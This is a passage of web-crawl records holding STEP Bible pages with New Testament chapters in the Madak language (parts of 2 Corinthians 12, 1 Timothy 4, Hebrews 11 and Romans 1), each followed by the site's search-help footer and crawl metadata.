vaase levesilimet la levempapaase asuusu bok boro at Leeme Silok. 2 Aklen lara laradi nuunu at ne Karisito at lasangaun mi lavanuet maares gara xap pam, Loroonan Kaala ga lok ka i uto vana at laxalibet i sev avantun. Nia axoklen i do nai ga vot tuturun kopla ni ga ven mene lisilimet, Moroa xusuk mun iklen i. 3 La aklen i do na laradi Moroa ga lok ka i uto at lemenemen teren, ketla nia axoklen i do labantuxu ren ga urut kopla loroonan mun teren, Moroa xusuk iklen i. 4 La go ni ga ronga levelinga i xaala aleng la ixo epovo do tara na tong asu i. 5 Aba lox aru mo laradi, a noxo lox aru ia; ketla kusuk mun nia ba lox aru ia at levempanga i lox asuusu lomolo rak. 6 Dola a vara i xusu ana lox aru ia, nia noxo lok ngan laradi baulang; mila a paase mi luruturun. Ketla axo xip tutu min, atla ixo lox avukat do tara i doxoma mumu solo ia ri levempanga salai neni i ven i rak la i ronga ia min.\n7 Ketla mumu mo levempanga nunuan aga ven i, nia aga ruuna ka losongsongot de at labantuxu rak, la na losongsongot i lok ngan lasaxaruki at ne Satan kusu na sev asongot tinotno ia la ti ru pe ia basinge loklox asilok. 8 I vantun levenaleng aga sing ne Moroa mumu i na lavanga, la aga sing i xusu na lok pes i. 9 Ketla ni ga vorang i ria xeretna, \"Letaba nabalamu rak tu i epovo xuren, mila lololos tarak naba gugu lolos aleng mo do a lox asuusu i ri limixin, at levenaleng di molobe.\" Kuren la aba lok momo aleng tinotno ri mo leveloklok molo rak, kusu mo lololos at ne Karisito naba nemen keneng tarak. 10 Ti lox aru ne Karisito, a lok momo aleng ti lomolo rak, la levempapaase vupu la levenmumuat la levesongsongot la levenmumuat i lolos aleng, mila do nia a molo, aba suma xaka lololos silok.\nPol Ga Paase Axalat Ti Leme Korin11 A lok ngan tinotno laradi baulang mumu mo levelinga a tong pam i, ketla nemi xa miga pu soso ia rin. I epovo do nemi mina lox aru ia, mila nia xopmen ana lixilik tino ti nom luvuttadi vavang kaxarang mi lok do di silok aleng, keke i do nenia laradi gamasa mun. 12 Nia aga lolos kusu ana lok levempanga i lox asuusu i do nenia laradi vavang aga lox i xantubu atnimi; leveloklok katling at ne Moroa la levempanga sangsangu. 13 Nia aga gugu xantubu atnimi xerekngan aga gugu xantubu at limixin at laraugu lotu vetpes, ketla nia goxo lox angtang nemi do ri toloklok tooro ria. Mina doxoma xepe na laxapmek tarak.\n14 A gagas tana xusu ana vot pasa nimi la ni lavatpas sepsev avantun tarak tinimi. La nia noxo lox angtang nimi mila nia axo vara levempilas atnimi, ketla a vara lorooro atnimi ri Leeme Silok. Laxamdak lixilik dixo lili bubua lapnovos ti luvuttemen di mi luvutnen di, ketla luvuttemen di mi luvutnen di, di lili lapnovos ti laxamdak atdi. 15 Kerepmo aba lok momo aleng do ana raba axap lorooro rak, mi levenaleng tarak, la lololos tarak kusu ri lok tooro nimi. Kereva, ixo epovo do mina balamu lixilix ia xerekngan nia a balamu aleng tinotno nimi? 16 Nemi axap miba siam do nia goxo lok ngan laknixip tinimi axap. Ketla leventaba diba lok do nia a babala vukpuk nimi mi levelinga xaxarang. 17 Kereva, agut nia aga sing panga nimi at loxonaleng aga riki leventaba luvuttadi gugu rak udom? 18 Aga sing ne Taitas do nat pas udom, la aga riki aonon bok lara laradi nuunu eburu min. Kereva, Taitas ga babala vukpuk nimi? Kopmen tinotno. Kereva, neni la nenia, nema magap tuvuk at legeso doxoma la ma ruuna legesu ruptuvuk mene?\n19 Agut mi doxoma i do nema mo mak lok tong i do mana paase see atnama ro melamgo atnimi? Kopmen tinotno. Ma paase ngan limixin at ne Karisito to melamgo at lemeren ne Moroa. Larapen tangas orong tarak. Levempanga axap ma lox i xusu ri lok tooro nimi. 20 A marat do at loxonaleng nia ana vot dom, aba long lenget nemi do mira lok petpes aleng pam ti lodoxoma nia a vara i do mibap tuvuk kuren; la nemi bok miba long lenger i do nenia bok aba lok petpes ti lodoxoma nemi miga vara i do nia aba lok kuren. A marat do aba ven lenget levenedak la levereven peves la levenmukmusak la levenekarakat la lavapaase nemnem la loklox asilok patlak la levempanga xopmen na sixit nunuan keneng at lotu. 21 A marat do mo nia ana vot manga, ne Moroa rak naba lox abulu ia dom melamgo atnimi, la aba lok mamangan aleng mu buaang atnedi digara lok pam laxapmek gano, la kovisi di goxo leeng basinge laxapmek atdi diga lox i, ngan loklok ti elongka la loklok kakapmek maxamang at lixitkis epot la lengkot mamangan kerepmo.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Cor.12","date":"2018-10-20T19:59:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513384.95\/warc\/CC-MAIN-20181020184612-20181020210112-00344.warc.gz","language":"mmx","language_score":0.9999767542,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999767541885376}","num_words":1007,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timothy 4\nLuvuttadi Loklox Ase Xaxarang1 Loroonan Kaala i vaase axasev i do leventaba dinaba soxope lunuunu atnedi at na levenaleng i tu melamgo; diba ronga res at labaroonan kaxarang la diba mumu asu leveloklox ase at lubunggas. 2 Na levenanasa xerepmo luvuttadi xaxarang dinaba lox ase limixin min; no levendoxoma avukat atdi gara sonao vam, i lok ngan din boo i mi lavaruat liplivi la kopmen dina suma i. 3 Luvuttadi xerepmo di anasa limixin do i lok kapmek ti epot la ti anan bok leventaba levenasen luxa. Ketla ne Moroa ga rudum li nom leveluxa axap kusu ri limixin nuunu, mo diklen levelinga ruturun. La dina lok lisingising ti tong loklox avukat ti mo leveluxa. 4 Levempanga axap ne Moroa ga rudum i, i lox avukat; kopmen tevempanga ataba sok tixirixes i, ketla ata lok ka levempanga axap mi lisingising ti tong loklox avukat; 5 mila levelinga at ne Moroa la nom lisingising, i lox avukat mo leveluxa xusu ne Moroa na siam teren.\nLasaxaruki Avukat At Ne Iesu Karisito6 Dola una vaase asu na levenngas linga tinedi luvutnetam, uba lok ngan lasaxaruki avukat at ne Iesu Karisito; mila loroonan taram i anan mais at lunuunu la at levenanasa avukat, nu ugara mumu asu vam i. 7 Ketla una ru asepsu basinge nom leventetere xaxarang mo ixo lox avukat ti paase asu i. Ketla una lolos amisik kusu una ruuna ka luruptuvuk avukat at ne Moroa. 8 Lugugu at labantuxu i lox asuusu loklok tooro ri labantuxu; ketla leveloklok at Loroonan at ne Moroa, naba lox asuusu leventaangas axap i nunuan, la uba ruuna ka lorooro avukat at na lorooro xopok la at lorooro melemu bok.\n9 Na levelinga i ruturun, ata siam ka i la ata nuunu ren. 10 Ni lavasuun teren la dik ata gugu lolos la atam tabaavat, mila dik ta lok li vam lodoxoma voovo atdik at ne Moroa mo i rooro, neni Laradi Loklox Arooro at limixin axap la atnedi bok di nuunu.\n11 Una paase na levempanga ri limixin at lotu la una vanasa bok di min. 12 Nemen uta ke xepe tara na vas asi u ukopok atla nenu laau doxodok; ketla una lok ngan lampoovo ri limixin nuunu, at levempapaase ram, luruptuvuk taram, labalamu ram, lunuunu la loklok i dadat. 13 Avot ti lovotpot tarak, una raba axap lorooro ram ti utus levelinga keneng at Lovoang Kaala ti mo limixin, la una vavang la una vanasa bok di. 14 Nemen uta lox abulubun kepe laramtaba at Loroonan nom i nemen keneng taram; uga lok ka i ap mo laaleng luvuttadi vapaase alii diga paase alii i la luvuttadi mukun diga sa li levengkikngen di mavana ram.\n15 Una mumu asu amisik na levempanga la una raba lorooro axap taram tin, kusu limixin axap diba ven lusuusu at lugugu ram. 16 Una lok tatao avukat lorooro ram eburu mi nom levenanasa uga anasa limixin min. Unak lox amisix i na levempanga; dola una lox i xuren, unaba lox arooro u eburu minedi nom ding tonga levelinga ram.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Ti.4","date":"2018-10-19T05:27:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512323.79\/warc\/CC-MAIN-20181019041222-20181019062722-00425.warc.gz","language":"mmx","language_score":0.9998713732,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9998713731765747}","num_words":654,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.214,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 11\nLimixin Diga Nuunu At Ne Moroa1 Lunuunu neni loklok tim doma ngangais ti leveloklox anarong ne Moroa naba raba limixin teren min; la lunuunu ik lox aklen dik ti mo levempanga nedik kopmen ta reven tu ren. 2 Kerepmo la ne Moroa ga emi asu minedi lavalabat atdik gano, mila diga ruuna lunuunu.\n3 Nedik ta ruuna lunuunu, kuren la ataklen i do ne Moroa ga rudum li levempanga axap mi levelinga ren, la ataklen i do levempanga nedik di ven i mi levengkatli atdik ga ravasu at levempanga nedik goxo ven i.\n4 Abel ga ruuna lunuunu, kuren la neni ga raba ne Moroa mi laplavang ga lox avukat ti laramtaba at ne Kaen. Abel ga ruuna lunuunu, kuren la ne Moroa ga emi asu min la ga raba i mi laasen do laradi mokmokso, ap mo laaleng ne Moroa ga siam ka leventamtaba ren. Lunuunu ren move i ngan lampoovo ridik kusu ata mumu asu i, keke i do neni ga met pam.\n5 Enok ga ruuna lunuunu, kuren la neni goxo met, ketla ne Moroa ga lok ka i uto vana at laxalibet, la limixin diga puse rin la di goxo vuse ka i, mila ne Moroa ga lam ka vam i uto vana. Avot at na, Moroa ga emi asu min, mila loklok teren ga lox amomo i. 6 La mo do tara xopmen tunuunu ren, ixo epovo ni na lox amomo ne Moroa, mila do tara i vara na vot pasa ne Moroa, neni na nuunu do ne Moroa mo i rooro la neni i epovo naba lox anarong nedi lebelen di i ngaongao xusu dinaklen ne Moroa.\n7 Noa ga ruuna lunuunu, kuren la at laaleng ne Moroa ga tong i rin do laran naba vot, ni ga ronga res la ga lok lavattaaxup silok kusu na lox arooro nedi loxoetemen. Neni ga ruuna lunuunu la kerepmo ga lox asuusu i do loklok at limixin ap mo levenaleng ga lok kapmek, la neni ga ravasu ngan laradi mokmokso at lemeren ne Moroa mila neni ga ruuna lunuunu saparap ne Moroa.\n8 Abaram ga ruuna lunuunu. Kuren la at lara laaleng ne Moroa ga tong i rin do na on basinge lemenemen teren kusu nat pas ti lara lemenemen to vaxalom; Moroa ga vaase alii rin do neni naba raba i min melemu ngan lemenemen tino rin. La ne Abaram ga ronga res teren la ga vas kaxat, neni goxoklen i do mo lemenemen gak lok ua. 9 Neni ga ruuna lunuunu la ga lox araut lemenemen tin ap mo loxot ne Moroa ga vaase alii min tin. Ketla ap mo lenep neni ga nemen ngan laradi xadiong, gak lok mun at loogu kadis, la melemu ne Aisak, nitna ne Abaram, la ne Jakop, tubuno ne Abaram dugak lok bok at laraugu kadis. Nedu bok duga ruuna mo lavapaase alii boro at ne Moroa ngan ne Abaram. 10 Neni ga ronga res mila neni gam doma ngangais ti mo lemenemen silok, bak lox amisik la ne Moroa ga lox agagas mo lemenemen silok ti limixin teren.\n11 Abaram ga ruuna lunuunu, keke i do gara sioxo vam, la latkin bok teren ne Sera goxo epovo do na visik, ketla nedu duga visik lara lamdak. Kuren la ne Abaram ga ravasu ngan ne temen mo lamdak, mila ne Abaram ga nuunu do ne Moroa naba lox asorun lavapaase alii ren. 12 La ne Abaram, neni lasioxo nga, ketla ga buaang aleng livipisik li ren, ga umsu aleng ngan laxampenti mede vana la laxangkaneng to loxon, nedik taxo epovo ri exes di, na livipisik li ga ravasu at na legesa radi mun.\n13 Nedi axap luvuttadi diga ruuna lunuunu at lorooro axap atdi se at loxonaleng diga met. Nedi goxo ruuna ka mo levempanga ne Moroa ga vaase alii min tidi, ketla diga ven avaxalom ka mo levempanga la diga momo ka i, keke i do di goxovisi ruuna ka i. La diga siam ka mun lorooro alua at na lavatbung menemen. 14 Limixin di paase xerepmo, i lox asuusu i do temenemen aulis gove di puse rin. 15 Do nedi gove gitam doma amlong ti mo lemenemen no nedi diga on basinge i, nedi ro gitamlong pam ti mo lemenemen atdi. 16 Ketla lodoxoma atdi move ga vara ri temenemen avukat tinotno, mo lemenemen ik lok to vana at laxalibet. Kuren la ne Moroa i lok momo xusu dina soxor i do ne Moroa atdi mila neni ga lox agagas lemenemen tidi.\n17 Abaram ga ruuna lunuunu, kuren la ap mo laaleng ne Moroa ga lok tong pen i, neni ga ronga res la ga raba ne Aisak ngan laplavang. Abaram neni mo laradi ne Moroa ga vaase alii rin do livipisik li ren naba umsu aleng. Ketla melemu manga ni ga gagas kusu naplavang mi mo legesa nitna. 18 Ne Moroa gara tong pam i rin do, \"Aisak neni laradi ba lox asilok livisik li ram.\" 19 Abaram gaklen i do ne Moroa i epovo na lox arooro luvuttadi met; ketla ne Moroa ga sep pepe i la ni goxo sev amet ne Aisak. I lok ngan ta do ne Moroa ga lox arooro ne Aisak basinge lanmet.\n20 Aisak ga ruuna lunuunu, kuren la neni ga lox anarong ne Jakop mi ne Esao mi levelinga mumuat mumu mo levempanga naba ravasu at lorooro atdu la at livipisik li bok atdu melemu at levenaleng at lanmet teren.\n21 Jakop ga ruuna lunuunu, kuren la neni ga lox anarong lumdak at ne Josep la ga lotu saparap ne Moroa, ap mo loxonaleng neni ga sox auru i mi lakdak teren, mila neni gara sioxo vam la ga auret levenaleng kusu neni na met.\n22 Josep ga ruuna lunuunu, kuren la ga auret ti lanmet teren, neni ga vaase alii do at tara taaleng limixin me Israel diba vas kaxat basinge lemenemen Isip la neni ga vaase alii bok at limixin teren kusu dinaba xip ka levesi ren do dina vas kaxat uto Kanan.\n23 Temen ne Moses mi nenen duga ruuna lunuunu, kuren la duga lipe ne Moses at lavantun gaaling melemu at livipisik teren, mila duga ven i do mo lamdak goxopmen lamdak gamasa, ketla lamdak ga lok petpes tino, la du goxo marat at lavapaase lolos at loorong silok, ga tong i do dina sev amet axap levengkadede remes at limixin me Israel do dina visik asu di.\n24 Moses ga ruuna lunuunu, kuren la neni ga silok, la ni ga xopara i xusu limixin dina soxor i do lamdak at loolik at ne Parao. 25 Ketla neni ga vara i xusu na xip laxasongsongot eburu mi limixin at ne Moroa la neni ga xopara i xusu na lox amomo lorooro ren mi laxakapmek, mo naba xap asonao mun. 26 Moses ga doma i do ik mokso do neni na lok ka lainmangan eburu mi limixin teren at lugugu at Lanarong. Mo lainmangan ga lox avukat aleng ti lapnovos boro Isip, mila neni ga reven ti mo luunun move ne Moroa ba raba i min. 27 Neni ga ruuna lunuunu, kuren la neni ga vas kaxat basinge lemenemen Isip la goxo marat at lumukmusak at loorong silok me go, ketla neni ga tu lolos at lunuunu ren, mila neni ga ven kibis ne Moroa, mo limixin di goxo epovo na ven i. 28 Moses ga ruuna lunuunu, kuren la neni ga tong i ri limixin me Israel kusu dina sep ka tevempatnat sipsip la dina saba li lada ap mo laxasipsip to at laramusaragu at laraugu atdi, na loklok ga lok kaxat mo leluxa diga soxor i do Lovovolo Pe. Diga lox i na xusu mo laangelo sepsep noxo sev amet lavaanat meren at limixin me Israel. Ketla Moroa ga riki i do na sev amet lavaanat meren at limixin me Isip.\n29 Limixin me Israel diga ruuna lunuunu, kuren la diga vas korop Laras Memele, digat pas mun at laxangka mesemes. Ketla at loxonaleng limixin esep boro Isip diga lok tong pen i xusu dina vas polo, laras gak mit di la diga xong axap.\n30 Limixin me Israel diga ruuna lunuunu, kuren la lara langas uat lolos mo ga tu xangkan lemenemen silok Jeriko ga rebubuxup si ukopok. Mo lavanga ga vot melemu at lavanuti aleng limixin me Israel digat pas kangkan mo lemenemen.\n31 Raap, latkin ngarangat ga ruuna lunuunu, kuren la neni goxo uu eburu minedi limixin boro Jeriko diga ronga viribang, mila neni ga lok tooro luradi esep at leme Israel mo dugakling lemenemen at laaleng ne Josua ga riki du xusu dunakling mo lemenemen Jeriko.\n32 Aba tong ka bok ba lavanga salai? Nia xopmen ana epovo xusu ana vaase bok ba mila loxonaleng kopmen na epovo kusu aba tong asu axap lorooro atnedi loxongkulao nuunu kerekngan ne Gidion, Barak, Samison, Jepita, Devit, Samuel, la leventaba vetpes bok eburu mi lavaeme vapaase alii; 33 diga ruuna lunuunu, kuren la leventaba atdi diga sep kepe levenabung mixin, leventaba atdi diga lok tatao limixin atdi mi loklok mokmokso, la kerepmo ne Moroa ga lok tooro di xerekngan neni ga vaase alii min tidi; la leventaba atdi, lavamolon diga lu arup midi uto at laramet laion la lubung laion di goxo epovo na anan di, mila ne Moroa ga vamngus lubung laion. 34 Leventaba atdi lavamolon diga lu arup midi uto xeneng at laxao ketla laxao goxo epovo na rin di; leventaba atdi diga ves avolo levemparise sepsep at limixin esep; la leventaba atdi levengkot atdi ga molo xetla ne Moroa ga lox alolos di; la leventaba diga ravasu ngan luvuttadi lolos tino, kuren la diga xala xepe limixin esep boro at levengkot petpes. 35 Leventaba lavakin diga ruuna lunuunu kuren la leventaba atnedi digara met pam, ketla ne Moroa ga lox aroo amlong bok di.\nLeventaba atnedi luvuttadi nuunu, diga lok ka losongsongot kapmek tinotno, lavamolon diga lok mo leveloklok ti lok kepe lunuunu atdi, ketla diga tu lolos la diga siam ka mo laxanmumuat, mila diga nuunu do melemu diba lok ka lorooro avolo. 36 Lavamolon diga lok kalise xapmek leventaba atdi la digak pixis kapmek tino di, la diga koxo alis leventaba bok la diga lox abeles di at laraugu xokoxo. 37 Diga lu amet leventaba atdi mi laxanuat, la diga soo xorop avu leventaba atdi mi lempasoo, la diga sev amet leventaba atdi mi lemparise.\nLeventaba atdi luvuttadi nuunu diga siga mun levenbantuxu sipsip la levenbantuxu me, mila kopmen tevempanga singsiga avukat atdi la di goxo ruuna tevempanga at lorooro atdi, diga xip laxasongsongot la lavamolon diga lok kapmek tinotno di. 38 Lavamolon diga doma i do mo limixin nuunu diga lok kapmek aleng, ketla at lemeren ne Moroa nedi limixin mokmokso, la ixo epovo do dina nemen at na lavatbung menemen. Digat pas tangtagap to at lamatbin la to at levempatkaana la diga nemen to xeneng at laxantabuang la at laramamara ro xeneng at laxangka, mila goxopmen taramenemen atdi.\n39 Diga ruuna lunuunu, kuren la ne Moroa ga emi asu midi, ketla tara atdi goxo lok ka mo leveloklox anarong at lekabus maxat ap mo levenaleng diga rooro ren. Mo leveloklox anarong ne Moroa ga vaase alii min ti limixin teren. 40 Moroa ga lox agagas lekabus maxat kusu neni na lox adadat dik. La kerepmo bok neni ga lox adadat nedik eburu minedi na limixin digap kip laxasongsongot.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.11","date":"2018-10-24T04:34:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583519859.77\/warc\/CC-MAIN-20181024042701-20181024064201-00092.warc.gz","language":"mmx","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000079870224}","num_words":2008,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.35,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aAbk 2:4\nRomans 1\nLavapaase Axasep1 Nenia ne Pol, lasaxaruki at ne Iesu Karisito, la nia luun pavang, ne Moroa ga soxolik ka ia la ga ro ka ia xusu ana vavang mi Lagale Lavavang teren. 2 Na Lagale Lavavang ne Moroa ga vaase alii min ganoxa at levenngusno atdi lavaeme vapaase alii ren, la diga malagan li i xeneng at Lovoang Kaala, 3 mumu ne Nitna ni Leeme Silok atnedik ne Iesu Karisito ni ga nemen ngan laradi mede at na lavatbung menemen, diga visix ka i at livipisik li at ne Devit. 4 Ti loklok teren i xaala aleng, ne Iesu ga lok kaka laasen do Nitna ne Moroa at loxonaleng ni ga roo xat amlong basinge lanmet mi langsangan lololos teren. 5 Keneng mun at ne Iesu la ti lox aurut laasen teren, Moroa ga raba ia mi letaba nabalamu ren kusu nia ana ru katling i ri lok lugugu ngan laradi vavang at ne Karisito, la ana sasar asu ka limixin boro xamang at limixin kopmen di me Judaia, kusu dinaba nuunu ren la dinang tonga res teren. 6 La nemi bok limixin dom Rom, ne Moroa gara ro xaka vam nimi ri ne Iesu Karisito.\n7 Nia a malagan na levelinga rinemi axap mi nemen dom Rom, Moroa i balamu nimi la ga ro xaka nimi do nemi limixin teren.\nLetaba nabalamu la lenmila rinimi boro at ne Moroa ne Temen nedik, la Leeme Silok ne Iesu Karisito.\nLisingising Ti Tong Loklox Avukat8 Avot be, nia a tong loklox avukat ti ne Moroa rak keneng at ne Iesu Karisito rinemi axap, atla limixin at lengkot axap at na lavatbung menemen di ronga levelinga mumu nom lunuunu atnemi. 9 Moroa nia a gugu rin mi lorooro axap tarak, la nia a vavang mi Lagale Lavavang at ne Nitna, neni iklen i do na levelinga rak i ruturun aleng do nia am doma amisik nimi, 10 keneng at levesingising tarak at levenaleng axap. Nia a ngising ne Moroa dola lodoxoma ren kuren, neni naba suang langas tia xusu anaba vot saparap tinotno ba nimi dom.\n11 Nia a vara aleng i do nia anaba ven nimi la ana raba nimi mi leveloklok tooro at Loroonan at ne Moroa eburu minemi ri lox alolos nimi. 12 Nia a doma i do dik ataba elok tooro ela; nemi miba lox alolos ia mumu lunuunu atnemi la nenia aba lox alolos nemi mumu lunuunu rak. 13 Luvutnetak mi luvurinuk. Nia a vara i do mina xasep nunuan; buaang laxanaleng nia agam doma i do anat pot pasa nimi, ketla lentaba lempanga ga tu pe ia. Nia a vara i xusu ana vavang dom atnemi xusu teventaba dinaba nuunu bok, kerekngan ia aga lox i ro at lengkot petpes kantubu at limixin kopmen me Judaia.\n14 Nia a ruuna lugugu silok anaba lox i ri limixin axap, ti leme Grik la tinedi bok limixin petpes, ti limixin akleklen la tinedi bok kopmen takleklen solo atnedi. 15 Kuren la lodoxoma rak iplivi aleng, kusu ana vavang tinemi bok limixin mi nemen dom Rom.\nLolos At Lagale Lavavang16 Nia xopmen ana lok mamangan ti vavang mi Lagale Lavavang, atla ni lololos at ne Moroa ri lox arooro nedi axap di nuunu, leme Judaia avot la melemu rinedi limixin kopmen me Judaia, 17 atla Lagale Lavavang i lox asuusu i do ne Moroa ik lox akmokso limixin mi legesa ngas mene nga, neni lunuunu la kopmen tangas petpes bok ba, kerekngan Lovoang Kaala i tong i xeretna,\n\"Laradi ip sep sogo at ne Moroa mi lunuunu ren, ni naba roo suu.\" a\nLoklok Kakapmek At Limixin18 Moroa ira lox axasep pam i ri limixin axap dola neni ixot kis epen mi leveloklok kakapmek at limixin, atla nom loklok kakapmek atnedi i sasar angtang kaka di basinge luruturun at ne Moroa, kuren la ni naba lox asi nom lebelemamao ren ti sev asongot di. 19 Moroa i lox asongot di atla di xasep nunuan pam ap mo leveloklok teren ni i lox axasep di min. Moroa xa i lox axasep di min, 20 ga ru xaka i gano ne Moroa ga rudum li na lavatbung menemen, mo loklox eburu mi lololos lexen teren i nemen amisik. Limixin kopmen dina epovo na ven mo lololos eburu mi loklok teren, ketla di ven kakasep kaka i at levempanga ne Moroa ga rudum li i. Kuren la kopmen tevelinga atdi ri lox asepsu di basinge lebelemamao at ne Moroa.\n21 Digaklen ne Moroa, ketla digoxo emi asu min kopla digita tong loklox avukat tin. Levendoxoma atnedi ga rebonot axap, la levendoxoma rangtangku atnedi ga umsu mi lubuxumin. 22 Diga lok do nedi luvuttadi leklen, ketla xopmen; nedi luvuttadi baulang mene. 23 Kopmen di goxo lotu saparap ne Moroa ruturun i rooro amisik, ketla diga lotu saparap laxampoovo at luvuttadi mede xopok, la lavapixa eburu mi levempanga dit pas mi lavanuet kangkedek, kopla lempanga ngan laxangkavu.\n24 Mo limixin digang tangku xerepmo, kuren la ne Moroa ga ke xepe di ri lok leveloklok kakapmek maxamang at lixitkis epot ngan diga vavara rin. La i lok ngan bok pam nedi eburu diga lok lengkot mamangan la diga lox abilinga labantuxu atdi. 25 Diga lox ekun luruturun at ne Moroa mi laxaxarang, diga lotu saparap levempanga ne Moroa ga rudum li i, la diga domampe laradi runtudum kusu dina lotu saparav i. Ata emi asu amisik min. Tuturun.\n26 Limixin diga lox asu i mo loklok, kuren la ne Moroa ga ke xepe di ri mo leveloklok i lox asuusu langsangan lainmangan. Lavakin bok diga velongka, na ixo epovo do dina lox i. 27 La lavatlok bok kuren di goxopara nak midi eburu mi lavakin, la levendoxoma atnedi ga ngaongao xa ridi. Lavatlok diga lok levempanga mun mamangan, kuren la livipisik teren do diga ruuna ka levesongsongot ga epovo mi nom loklok kakapmek atnedi.\n28 La limixin di goxopara i do dinam tebeng lakleklen tuturun mumu ne Moroa, kuren la ni ga ke xepe di ri mumu asu levendoxoma atdi xa i ekarakat, kerepmo la diga lok levempanga ixo epovo do dina lox i. 29 Di umsu mi laxanasen kakapmek axap, i ngan lodoxoma xapmek, loklok ti belegaao, la loklok kakapmek maxamang at lixitkis epot. Lorooro atdi i umsu mi loklok ngaongao ri lempanga at lentaba vetpes, di esev amet, di esep, di lok levenekarakat, di babala vukpuk, di doma xakapmek amisik ti leventaba vetpes, la di tere mumu. 30 Di lox asi limixin mi levelinga, di velox angtungun mi ne Moroa, di ekilu, dim simi di la dit las di, la di doma xaka bok leventaangas petpes ti lok laxakapmek, kopmen dina ronga res at luvuttemen di mi luvutnen di. 31 Kopmen dina ruuna tevendoxoma avukat, kopmen dina doma xatling levelinga atnedi, la kopmen dina lox asuusu labalamu ela, la loxokok ti lemet atdi. 32 Diklen i do Lenavolo at ne Moroa i tong i do limixin di mumu asu na leventaangas dinaba seeve. Ketla move dik lok na leventaangas la di momo mun midi limixin petpes ua di lok mo langas.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rom.1","date":"2018-10-20T20:28:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513384.95\/warc\/CC-MAIN-20181020184612-20181020210112-00416.warc.gz","language":"mmx","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 